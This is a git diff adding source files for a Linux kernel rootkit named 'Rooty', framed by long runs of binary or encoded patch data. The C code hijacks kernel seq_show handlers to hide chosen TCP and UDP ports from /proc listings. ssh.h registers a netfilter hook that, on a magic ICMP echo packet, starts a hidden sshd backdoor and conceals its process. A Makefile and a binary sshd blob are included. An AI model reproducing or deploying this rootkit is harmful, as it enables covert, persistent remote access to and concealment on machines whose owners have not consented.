zG8}$3ki(Bjo}|=2kk>2qeR9;tljNBHenbxc|0?0XAzp#;P5u2!{U`AOyr&rcAm01r z=qG<7habnqK%_SWsPj!kJ}#B;DPv5VMtfQ1~N)-xGWinD`I)K7OHK4Un_ z{V@^c{v*R1G49Aw?u1dmhtWPn#J?2C{9H+n{EQ(-e#VpkBlZzQ*cC8*ic)Uk^_bs@ z)0K))KMmjOlOvt`$x%O1;f>^|pH0L^F;5ZUZy#|JzOg4hhWSatPXJk-Kae9oUy^Ue zH`s#7msot5;CX^01xE>94ov)>QdbdgLwOj!4E>OZ^5!xe{_}~;@&0Bw(p^kmir;R? zZ^8H{VqPz0c%D+_*YKyI(ULcE2Hq-D~8qJ4_C{cZjfipW(3k zjJOf~L-gIEPq@_54<>HFewg?OmQ6tV9Zp_`c}nC%y9PRW^MD&|2#P8x?sfZ@l#Xy$pC*(!gzX^X%_+H_^5`IAV z%feq3{-*F&;r}W81L6NI`~*4b;Sc1<7cX)w%k;QN7esf}^S@IthX^}Vy~cdO0zoXr zbodg%rGn_1I=n;>Rj+x4V3lA{5LK-8sA7%l1ZxF12tFu?sX*Id=xW?3h#{x>7QwB8 zPYLc2+$p$A@L9no!F__wf(Ha&5`0DQklAiK+XRma9uw>k>=ZmH*d^F4s1mI5 z@Vgzh1Hb1X^1C11euDgth@9W&5cz!_(J7cAI7V=s;6%Y}!Ks2X1ak!Q1oH)XUPk|g zg8JMHe5vr|f+d1wf)#>Qf=Nu2RG0%<&kn(4!4$zX z!F0iqg8E#N?Jqn-aE#zM!HI(WmWb(06`UcMBbX>B)CtonTUP#0l}Au3vqrWc!-E|gTsQY z#6qlR1>1--@tu|6F=7t((Sn`Cx%f_1u!~rS@$LYkKJ|G#FoirBF9lp&7x9spCOA^i zDL6)OqTp1)9Kn1+WL5iFDp(>|As7_2(@POP8z$ggGSvEg_X>n!I?{8`5Fn2C`SN+lSPY7G$dAs#@41LH0g)bod<5Y?AO05d;n_GFz@&B<;y4GtdqECBt{jFl zZ^%g`oQ*SN1M(&$8=3enf_dentry->d_inode)->data; + ret = afinfo->seq_ops.show; + filp_close(filep, 0); + + return ret; +} + +void *get_udp_seq_show ( const char *path ) +{ + void *ret; + struct file *filep; + struct udp_seq_afinfo *afinfo; + + if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) + return NULL; + + afinfo = PDE(filep->f_dentry->d_inode)->data; + ret = afinfo->seq_ops.show; + filp_close(filep, 0); + + return ret; +} + +void hide_tcp4_port ( unsigned short port ) +{ + struct hidden_port *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->port = port; + + list_add(&hp->list, &hidden_tcp4_ports); +} + +void unhide_tcp4_port ( unsigned short port ) +{ + struct hidden_port *hp; + + list_for_each_entry ( hp, &hidden_tcp4_ports, list ) + { + if ( port == hp->port ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} + +void hide_tcp6_port ( unsigned short port ) +{ + struct hidden_port *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->port = port; + list_add(&hp->list, &hidden_tcp6_ports); +} + +void unhide_tcp6_port ( unsigned short port ) +{ + struct hidden_port *hp; + + list_for_each_entry ( hp, &hidden_tcp6_ports, list ) + { + if ( port == hp->port ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} + +void hide_udp4_port ( unsigned short port ) +{ + struct hidden_port *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->port = port; + list_add(&hp->list, &hidden_udp4_ports); +} + +void unhide_udp4_port ( unsigned short port ) +{ + struct hidden_port *hp; + + list_for_each_entry ( hp, &hidden_udp4_ports, list ) + { + if ( port == hp->port ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} + +void hide_udp6_port ( unsigned short port ) +{ + struct hidden_port *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->port = port; + list_add(&hp->list, &hidden_udp6_ports); +} + +void unhide_udp6_port ( unsigned short port ) +{ + struct hidden_port *hp; + + list_for_each_entry ( hp, &hidden_udp6_ports, list ) + { + if ( port == hp->port ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} + +static int n_tcp4_seq_show ( struct seq_file *seq, void *v ) +{ + int ret = 0; + char port[12]; + struct hidden_port *hp; + + hijack_pause(tcp4_seq_show); + ret = tcp4_seq_show(seq, v); + hijack_resume(tcp4_seq_show); + + list_for_each_entry ( hp, &hidden_tcp4_ports, list ) + { + sprintf(port, ":%04X", hp->port); + if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) + { + seq->count -= TMPSZ; + break; + } + } + + return ret; +} + +static int n_tcp6_seq_show ( struct seq_file *seq, void *v ) +{ + int ret; + char port[12]; + struct hidden_port *hp; + + hijack_pause(tcp6_seq_show); + ret = tcp6_seq_show(seq, v); + hijack_resume(tcp6_seq_show); + + list_for_each_entry ( hp, &hidden_tcp6_ports, list ) + { + sprintf(port, ":%04X", hp->port); + if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) + { + seq->count -= TMPSZ; + break; + } + } + + return ret; +} + +static int n_udp4_seq_show ( struct seq_file *seq, void *v ) +{ + int ret; + char port[12]; + struct hidden_port *hp; + + hijack_pause(udp4_seq_show); + ret = udp4_seq_show(seq, v); + hijack_resume(udp4_seq_show); + + list_for_each_entry ( hp, &hidden_udp4_ports, list ) + { + sprintf(port, ":%04X", hp->port); + if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) + { + seq->count -= TMPSZ; + break; + } + } + + return ret; +} + +static int n_udp6_seq_show ( struct seq_file *seq, void *v ) +{ + int ret; + char port[12]; + struct hidden_port *hp; + + hijack_pause(udp6_seq_show); + ret = udp6_seq_show(seq, v); + hijack_resume(udp6_seq_show); + + list_for_each_entry ( hp, &hidden_udp6_ports, list ) + { + sprintf(port, ":%04X", hp->port); + if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) + { + seq->count -= TMPSZ; + break; + } + } + + return ret; +} diff --git a/Linux/Rootkits/Rooty/ssh.h b/Linux/Rootkits/Rooty/ssh.h new file mode 100644 index 0000000..3a2c152 --- /dev/null +++ b/Linux/Rootkits/Rooty/ssh.h @@ -0,0 +1,163 @@ +#define AUTH_TOKEN 0xDEADC0DE + +DECLARE_WAIT_QUEUE_HEAD(run_event); + +struct n_subprocess_info *ssh_sub_info; + +pid_t ssh_pid; +struct task_struct *runner_thread; +int isSSHDrunning = 0; +int startSSHD = 0; +int stopSSHD = 0; + +char *ssh_argv[] = { "/sbin/sshd", NULL, NULL }; +static char *ssh_envp[] = +{ + "HOME=/", + "TERM=xterm", + "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL +}; + +struct magic_icmp { + unsigned int magic; + unsigned int ip; + unsigned short port; +}; + +struct nf_hook_ops pre_hook; + +void init_icmp (void); +void stop_icmp (void); + +int runner(void* par) +{ + while(1) + { + wait_event_interruptible(run_event, (startSSHD ==1 || stopSSHD == 1) || kthread_should_stop()); + + if(!isSSHDrunning && startSSHD) + { + int ret; + printk("rooty: Starting SSHD server\n"); + ssh_sub_info = n_call_usermodehelper_setup( ssh_argv[0], ssh_argv, ssh_envp, GFP_ATOMIC ); + if (ssh_sub_info == NULL) return -ENOMEM; + + ret = n_call_usermodehelper( "sbin/sshd", ssh_argv, ssh_envp, UMH_WAIT_EXEC ); + if (ret != 0) + { + printk("rooty: Error in call to sshd: %i\n", ret); + return 1; + } + else + { + printk("rooty: SSHD pid %d\n", callmodule_pid); + ssh_pid = callmodule_pid; + hide_proc(ssh_pid); + } + isSSHDrunning = 1; + startSSHD = 0; + } + else if(isSSHDrunning && stopSSHD) + { + struct siginfo info; + struct task_struct *t; + printk("rooty: Stopping SSHD server\n"); + memset(&info, 0, sizeof(struct siginfo)); + info.si_signo = 42; + info.si_code = SI_QUEUE; + info.si_int = 1234; + + rcu_read_lock(); + t = pid_task(find_vpid(ssh_pid), PIDTYPE_PID); + rcu_read_unlock(); + if(t != NULL) + send_sig_info(42, &info, t); + + unhide_proc(ssh_pid); + isSSHDrunning = 0; + stopSSHD = 0; + } + if(kthread_should_stop()) + return 0; + } + return 0; +} + +int init_ssh(void) +{ + runner_thread = kthread_run(runner, NULL, "kthread"); + hide_proc(runner_thread->pid); + init_icmp(); + return 0; +} + +void stop_ssh(void) +{ + if(isSSHDrunning) + { + stopSSHD = 1; + wake_up_interruptible(&run_event); + } + unhide_proc(runner_thread->pid); + kthread_stop(runner_thread); + stop_icmp(); +} + +unsigned int watch_icmp ( unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *) ) +{ + struct iphdr *ip_header; + struct icmphdr *icmp_header; + struct magic_icmp *payload; + unsigned int payload_size; + + ip_header = ip_hdr(skb); + if ( ! ip_header ) + return NF_ACCEPT; + + if ( ip_header->protocol != IPPROTO_ICMP ) + return NF_ACCEPT; + + icmp_header = (struct icmphdr *)(ip_header + 1); + if ( ! icmp_header ) + return NF_ACCEPT; + + payload = (struct magic_icmp *)(icmp_header + 1); + payload_size = skb->len - sizeof(struct iphdr) - sizeof(struct icmphdr); + + printk("rooty: ICMP packet: payload_size=%u, magic=%x, ip=%x, port=%hu\n", payload_size, payload->magic, payload->ip, payload->port); + + if ( icmp_header->type != ICMP_ECHO || payload_size != 4 || payload->magic != AUTH_TOKEN ) + return NF_ACCEPT; + + if(!isSSHDrunning) + { + startSSHD = 1; + wake_up_interruptible(&run_event); + } + else + { + stopSSHD = 1; + wake_up_interruptible(&run_event); + } + + return NF_STOLEN; +} + +void init_icmp (void) +{ + printk("rooty: Monitoring ICMP packets via netfilter\n"); + + pre_hook.hook = watch_icmp; + pre_hook.pf = PF_INET; + pre_hook.priority = NF_IP_PRI_FIRST; + pre_hook.hooknum = NF_INET_PRE_ROUTING; + + nf_register_hook(&pre_hook); +} + +void stop_icmp (void) +{ + printk("rooty: Stopping monitoring ICMP packets via netfilter\n"); + + nf_unregister_hook(&pre_hook); +} diff --git a/Linux/Rootkits/Rooty/sshd/Makefile b/Linux/Rootkits/Rooty/sshd/Makefile new file mode 100644 index 0000000..24aa82b --- /dev/null +++ b/Linux/Rootkits/Rooty/sshd/Makefile @@ -0,0 +1,7 @@ + + +all: + gcc -o sshd sshd.c -Wl,-Bstatic -lssh -Wl,-Bdynamic -lz -lcrypto -lrt -lutil + +clean: + rm sshd \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/sshd/sshd b/Linux/Rootkits/Rooty/sshd/sshd new file mode 100644 index 0000000000000000000000000000000000000000..e07f1c2aefdef336e1db56c18a5377e5fc52dc0c GIT binary patch literal 434347 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 